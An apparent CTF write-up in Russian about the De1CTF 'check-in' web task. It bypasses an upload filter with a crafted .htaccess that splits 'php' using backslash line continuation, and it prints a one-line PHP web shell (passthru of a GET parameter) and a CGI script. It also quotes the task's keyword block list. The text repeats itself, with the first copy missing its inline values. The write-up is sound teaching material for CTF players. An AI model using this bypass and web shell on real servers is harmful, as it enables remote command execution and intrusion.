Очередные фишечки из прошедшего CTF.
Чуть чуть успел поиграть в De1CTF и решить входной таск на вебчик. Но и в проходном задании нашлось кое что интересное.
Окружение:
Server: Apache/2.4.6 (CentOS) PHP/5.4.16
X-Powered-By: PHP/5.4.16
Примерное описание задачи:
* Есть загрузка файлов на серве
* Расширения PHP файлов запрещены (filename error)
* Можно загружать любые другие расширения если тип содержимого файла
* Файлы не могут содержать следующих слов
* При отправке файлов все они кладутся в директорию
Само собой сразу приходит на ум работа с
Но вот дальше начинались проблемы.
Нельзя было применить
RewriteRules тут не поможет.
Можно было вырулить на
И вот в чем все любопытство.
По официальной версии и по тому, что я с коллегой пытались исполнить, надо было использовать CGI. И на локальном стенде это работало. В случае с сервером из задачи, это просто возвращало статус 500 (Ошибка скрипта).
И так, официальная версия
.htaccess
---------------
Options +ExecCGI
AddHandler cgi-script .sh
---------------
check.sh
---------------
#!/bin/bash
echo "Content-Type: text/plain"
echo ""
ls -lah /
exit 0
---------------
Наша версия :D
.htaccess
---------------
AddHandler application/x-httpd-p\
hp .foo
p\
hp_value short_open_tag 1
---------------
check.foo
---------------
<? passthru($_GET["cmd"]);
---------------
Более детально во врайтапе:
https://github.com/empty-jack/ctf-writeups/blob/master/De1CTF/web-check-in.md
Чуть чуть успел поиграть в De1CTF и решить входной таск на вебчик. Но и в проходном задании нашлось кое что интересное.
Окружение:
Server: Apache/2.4.6 (CentOS) PHP/5.4.16
X-Powered-By: PHP/5.4.16
Примерное описание задачи:
* Есть загрузка файлов на серве
* Расширения PHP файлов запрещены (filename error)
* Можно загружать любые другие расширения если тип содержимого файла
image/png
(если нет, то filetype error)* Файлы не могут содержать следующих слов
perl|pyth|ph|auto|curl|base|>|rm|ruby|openssl|war|lua|msf|xter|telnet
* При отправке файлов все они кладутся в директорию
/uploads/[md5sum(От IP клиента)]/
Само собой сразу приходит на ум работа с
.htaccess
файлом.Но вот дальше начинались проблемы.
Нельзя было применить
AddType application/x-httpd-php .foo
для смены расширения файлов, подверженных интерпритации mod_php, т.к. у нас не пропускается подстрока ph
.RewriteRules тут не поможет.
Можно было вырулить на
SetHandler server-status
и увидеть чужие решения, но нам с этим не повезло и пр.И вот в чем все любопытство.
По официальной версии и по тому, что я с коллегой пытались исполнить, надо было использовать CGI. И на локальном стенде это работало. В случае с сервером из задачи, это просто возвращало статус 500 (Ошибка скрипта).
И так, официальная версия
.htaccess
---------------
Options +ExecCGI
AddHandler cgi-script .sh
---------------
check.sh
---------------
#!/bin/bash
echo "Content-Type: text/plain"
echo ""
ls -lah /
exit 0
---------------
Наша версия :D
.htaccess
---------------
AddHandler application/x-httpd-p\
hp .foo
p\
hp_value short_open_tag 1
---------------
check.foo
---------------
<? passthru($_GET["cmd"]);
---------------
.htaccess
поддерживает разбивку строк через экранирование переноса при помощи \
Более детально во врайтапе:
https://github.com/empty-jack/ctf-writeups/blob/master/De1CTF/web-check-in.md